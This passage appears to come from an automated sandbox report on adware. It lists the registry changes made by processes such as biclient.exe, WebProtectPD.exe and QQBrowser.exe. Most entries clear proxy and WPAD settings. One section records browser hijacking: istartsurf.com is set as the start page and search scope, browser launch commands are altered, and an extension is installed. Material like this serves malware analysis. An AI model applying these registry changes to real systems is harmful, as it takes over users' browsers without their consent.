[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 48 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"Name" = "biclient.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionTime" = "3E ED 99 20 27 83 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process biclient.exe:2524 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "30 A5 A7 4E 27 83 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1337851866"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 51 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"Name" = "biclient.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionTime" = "D5 E6 C8 5D 27 83 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process biclient.exe:4120 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "A3 C6 EC D7 27 83 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1337851866"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 71 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"Name" = "biclient.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionTime" = "29 64 49 DA 27 83 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process biclient.exe:3272 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "55 66 C7 86 27 83 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1337851866"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 5A 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"Name" = "biclient.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionTime" = "01 FC 0C 8C 27 83 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process ChromeSync.exe:1568 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Control Panel\Desktop]
"ForegroundLockTimeout" = "0"

The process WebProtectPD.exe:2604 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "D5 E6 C8 5D 27 83 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 53 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "41 0D C1 7F 27 83 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process WebProtectPD.exe:5044 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "C2 62 28 9C 27 83 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 66 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "B5 15 24 CD 27 83 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process WebProtectPD.exe:1056 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "3E ED 99 20 27 83 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 49 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "46 43 AA 44 27 83 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process QQBrowser.exe:212 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process QQBrowser.exe:3520 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Mozilla\Extends]
"AppID" = "[email protected]"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\SearchScopes]
"DefaultScope" = "{33BB0A4E-99AF-4226-BDF6-49120163DE86}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Search Page" = "http://www.istartsurf.com/web/?type=ds&ts=1430385805&from=smt&uid=267123711_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"URL" = "http://www.istartsurf.com/web/?type=ds&ts=1430385805&from=smt&uid=267123711_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\istartsurf uninstall]
"Publisher" = "istartsurf"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Default_Search_URL" = "http://www.istartsurf.com/web/?type=ds&ts=1430385805&from=smt&uid=267123711_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Clients\StartMenuInternet\FIREFOX.EXE\shell\open\command]
"(Default)" = "%Program Files% (x86)\Mozilla Firefox\firefox.exe http://www.istartsurf.com/?type=sc&ts=1430385805&from=smt&uid=267123711_198339_B48A115F"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\istartsurf uninstall]
"DisplayIcon" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\UninstallManager.exe"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"DisplayName" = "istartsurf"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"URL" = "http://www.istartsurf.com/web/?type=ds&ts=1430385805&from=smt&uid=267123711_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Wow6432Node\istartsurfSoftware\istartsurfhp]
"oem" = "smt"
"Time" = "Type: REG_QWORD, Length: 8"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Start Page" = "http://www.istartsurf.com/?type=hp&ts=1430385805&from=smt&uid=267123711_198339_B48A115F"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Main]
"Default_Search_URL" = "http://www.istartsurf.com/web/?type=ds&ts=1430385805&from=smt&uid=267123711_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Default_Page_URL" = "http://www.istartsurf.com/?type=hp&ts=1430385805&from=smt&uid=267123711_198339_B48A115F"

[HKLM\SOFTWARE\Clients\StartMenuInternet\VMWAREHOSTOPEN.EXE\shell\open\command]
"(Default)" = "%Program Files%\VMware\VMware Tools\VMwareHostOpen.exe http://www.istartsurf.com/?type=sc&ts=1430385805&from=smt&uid=267123711_198339_B48A115F"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Google Chrome\shell\open\command]
"(Default)" = "%Program Files% (x86)\Google\Chrome\Application\chrome.exe http://www.istartsurf.com/?type=sc&ts=1430385805&from=smt&uid=267123711_198339_B48A115F"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes]
"DefaultScope" = "{33BB0A4E-99AF-4226-BDF6-49120163DE86}"

[HKLM\SOFTWARE\Clients\StartMenuInternet\IEXPLORE.EXE\shell\open\command]
"(Default)" = "%Program Files%\Internet Explorer\iexplore.exe http://www.istartsurf.com/?type=sc&ts=1430385805&from=smt&uid=267123711_198339_B48A115F"

[HKCU\Software\Classes\Local Settings\MuiCache\2D\52C64B7E]
"LanguageList" = "en-US, en"

[HKCU\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@""%windir%\System32]
"ie4uinit.exe"",-738" = "Start Internet Explorer without ActiveX controls or browser extensions."

[HKCU\Software\Microsoft\Internet Explorer\TabbedBrowsing]
"NewTabPageShow" = "1"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Main]
"Start Page" = "http://www.istartsurf.com/?type=hp&ts=1430385805&from=smt&uid=267123711_198339_B48A115F"
"Search Page" = "http://www.istartsurf.com/web/?type=ds&ts=1430385805&from=smt&uid=267123711_198339_B48A115F&q={searchTerms}"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"Default_Page_URL" = "http://www.istartsurf.com/?type=hp&ts=1430385805&from=smt&uid=267123711_198339_B48A115F"

[HKCU\Software\Mozilla\Extends]
"UID" = "267123711_198339_B48A115F"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"URL" = "http://www.istartsurf.com/web/?type=ds&ts=1430385805&from=smt&uid=267123711_198339_B48A115F&q={searchTerms}"
"DisplayName" = "istartsurf"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"Start Page" = "http://www.istartsurf.com/?type=hp&ts=1430385805&from=smt&uid=267123711_198339_B48A115F"

[HKCU\Software\Mozilla\Extends]
"ptid" = "smt"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\SearchScopes]
"DefaultScope" = "{33BB0A4E-99AF-4226-BDF6-49120163DE86}"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Main]
"Default_Page_URL" = "http://www.istartsurf.com/?type=hp&ts=1430385805&from=smt&uid=267123711_198339_B48A115F"

[HKCU\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@""%systemroot%\system32\windowspowershell\v1.0]
"powershell.exe"",-111" = "Performs object-based (command-line) functions"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\istartsurf uninstall]
"DisplayName" = "istartsurf uninstall"

[HKLM\SOFTWARE\Wow6432Node\Mozilla\Firefox\Extensions]
"[email protected]" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\istartsurf uninstall]
"UninstallString" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\UninstallManager.exe -ptid=smt"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"DisplayName" = "istartsurf"

The process testlsp.exe:1900 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
